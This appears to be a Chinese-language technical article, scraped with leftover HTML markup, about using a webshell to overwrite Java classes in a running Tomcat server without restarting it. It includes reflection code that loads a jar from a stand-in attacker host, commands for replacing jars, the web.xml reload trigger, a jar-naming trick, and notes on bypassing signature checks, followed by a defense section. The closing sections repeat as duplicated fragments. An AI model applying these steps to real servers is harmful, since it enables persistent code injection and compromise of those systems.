Tomcat运行时代码覆盖技术研究<\/h1>

概述<\/h2>
本文详细分析了一种在不重启Tomcat服务器的情况下，通过Webshell覆盖本地Java代码的技术。该技术利用了Tomcat的类加载机制和热部署特性，可以在运行时动态修改应用程序行为。<\/p>

技术背景<\/h2>

传统Java Web应用攻击中，攻击者通常需要：<\/p>

上传恶意jar或class文件覆盖原有文件<\/li>

等待服务器重启使修改生效<\/li> <\/ol>

这种方法的局限性：<\/p>

需要服务器重启（不可控因素）<\/li>
云环境定期重启会使覆盖失效<\/li>
jar签名验证可防止篡改<\/li>

文件上传容易被安全系统检测<\/li> <\/ul>

技术原理<\/h2>

核心思路<\/h3>

动态修改系统类路径<\/strong>：通过反射机制在运行时添加远程jar到系统类路径<\/li>
触发Tomcat重新加载<\/strong>：利用Tomcat对WEB-INF\/web.xml的监控机制<\/li>

类加载优先级利用<\/strong>：利用Tomcat类加载顺序特性确保恶意类优先加载<\/li> <\/ol>
详细技术实现<\/h3>
方法一：Tomcat 7.0.41及以下版本<\/h4>

动态添加远程jar到类路径<\/strong>：<\/li> <\/ol>
try<\/span> {<\/span> <\/span><\/span> URI uri =<\/span> new<\/span> URI(<\/span>"http:\/\/attacker-server\/ahacker.jar"<\/span>);<\/span> <\/span><\/span> URLClassLoader classLoader =<\/span> (<\/span>URLClassLoader)<\/span> ClassLoader.<\/span>getSystemClassLoader<\/span>();<\/span> <\/span><\/span> Method add =<\/span> URLClassLoader.<\/span>class<\/span>.<\/span>getDeclaredMethod<\/span>(<\/span>"addURL"<\/span>,<\/span> new<\/span> Class[]<\/span> {<\/span> URL.<\/span>class<\/span> });<\/span> <\/span><\/span> add.<\/span>setAccessible<\/span>(<\/span>true<\/span>);<\/span> <\/span><\/span> add.<\/span>invoke<\/span>(<\/span>classLoader,<\/span> uri.<\/span>toURL<\/span>());<\/span> <\/span><\/span>}<\/span> catch<\/span> (<\/span>Exception exp)<\/span> {<\/span> <\/span><\/span> exp.<\/span>printStackTrace<\/span>();<\/span> <\/span><\/span>}<\/span> <\/span><\/span><\/code><\/pre> 修改web.xml触发重新加载<\/strong>：<\/li> <\/ol> Tomcat默认监控WEB-INF\/web.xml变化<\/li> 任何修改都会触发应用重新加载<\/li> <\/ul> 类加载机制利用<\/strong>：<\/li> <\/ol> 系统类路径中的jar优先加载<\/li> 同名类只会加载第一个找到的版本<\/li> <\/ul> 方法二：Tomcat 7.0.5+及9.x版本<\/h4> 使用jar协议添加远程jar<\/strong>：<\/li> <\/ol> try<\/span> {<\/span> <\/span><\/span> URL uri =<\/span> new<\/span> URL(<\/span>"jar:http:\/\/attacker-server\/ahacker.jar!\/"<\/span>);<\/span> <\/span><\/span> URLClassLoader classLoader =<\/span> (<\/span>URLClassLoader)<\/span> ClassLoader.<\/span>getSystemClassLoader<\/span>();<\/span> <\/span><\/span> Method add =<\/span> URLClassLoader.<\/span>class<\/span>.<\/span>getDeclaredMethod<\/span>(<\/span>"addURL"<\/span>,<\/span> new<\/span> Class[]<\/span> {<\/span> URL.<\/span>class<\/span> });<\/span> <\/span><\/span> add.<\/span>setAccessible<\/span>(<\/span>true<\/span>);<\/span> <\/span><\/span> add.<\/span>invoke<\/span>(<\/span>classLoader,<\/span> uri);<\/span> <\/span><\/span>}<\/span> catch<\/span> (<\/span>Exception exp)<\/span> {<\/span> <\/span><\/span> exp.<\/span>printStackTrace<\/span>();<\/span> <\/span><\/span>}<\/span> <\/span><\/span><\/code><\/pre> 覆盖原有jar文件<\/strong>：<\/li> <\/ol> 使用系统命令删除或覆盖原有jar<\/li> del \/Y<\/code>和copy \/Y<\/code>等命令<\/li> <\/ul> 触发重新加载<\/strong>：<\/li> <\/ol> 修改web.xml<\/li> 等待10-20秒让Tomcat完成重新加载<\/li> <\/ul> 恢复原有jar<\/strong>（可选）：<\/li> <\/ol> 在重新加载完成后恢复原始jar<\/li> 已加载的恶意类会保持生效<\/li> <\/ul> 方法三：利用jar加载顺序（全版本通用）<\/h4> 上传特定命名的jar文件<\/strong>：<\/li> <\/ol> Tomcat按字母顺序加载jar<\/li> 例如上传"raal.jar"会比"real.jar"优先加载<\/li> <\/ul> 触发重新加载<\/strong>：<\/li> <\/ol> 修改web.xml<\/li> 同名类会优先加载字母顺序靠前的jar中的版本<\/li> <\/ul> 技术限制与注意事项<\/h2> 版本差异<\/strong>：<\/li> <\/ol> 方法一仅适用于Tomcat 7.0.41及以下<\/li> 方法二适用于更新版本包括Tomcat 9.x<\/li> <\/ul> 执行顺序要求<\/strong>：<\/li> <\/ol> 必须先访问目标servlet再执行攻击<\/li> 直接攻击可能导致应用卡死（DoS）<\/li> <\/ul> jar签名绕过<\/strong>：<\/li> <\/ol> 该技术可绕过jar签名验证<\/li> 因为不直接修改签名jar，而是添加新jar到类路径<\/li> <\/ul> 防御措施<\/h2> 安全配置<\/strong>：<\/li> <\/ol> 禁用动态类加载功能<\/li> 限制反射API的使用<\/li> <\/ul> 监控措施<\/strong>：<\/li> <\/ol> 监控web.xml的异常修改<\/li> 检测异常的类加载行为<\/li> <\/ul> 运行时保护<\/strong>：<\/li> <\/ol> 使用SecurityManager限制敏感操作<\/li> 实施类加载验证机制<\/li> <\/ul> 部署实践<\/strong>：<\/li> <\/ol> 使用不可变容器镜像<\/li> 实施严格的变更控制流程<\/li> <\/ul> 总结<\/h2> 该技术展示了在无需重启Tomcat的情况下实现代码覆盖的多种方法，突显了Java类加载机制的潜在安全问题。防御此类攻击需要多层次的安全措施，包括配置加固、运行时保护和持续监控。<\/p>

Tomcat运行时代码覆盖技术研究<\/h1>

概述<\/h2> 本文详细分析了一种在不重启Tomcat服务器的情况下，通过Webshell覆盖本地Java代码的技术。该技术利用了Tomcat的类加载机制和热部署特性，可以在运行时动态修改应用程序行为。<\/p>

技术原理<\/h2>

详细技术实现<\/h3>

总结<\/h2> 该技术展示了在无需重启Tomcat的情况下实现代码覆盖的多种方法，突显了Java类加载机制的潜在安全问题。防御此类攻击需要多层次的安全措施，包括配置加固、运行时保护和持续监控。<\/p>

概述<\/h2>
本文详细分析了一种在不重启Tomcat服务器的情况下，通过Webshell覆盖本地Java代码的技术。该技术利用了Tomcat的类加载机制和热部署特性，可以在运行时动态修改应用程序行为。<\/p>

总结<\/h2>
该技术展示了在无需重启Tomcat的情况下实现代码覆盖的多种方法，突显了Java类加载机制的潜在安全问题。防御此类攻击需要多层次的安全措施，包括配置加固、运行时保护和持续监控。<\/p>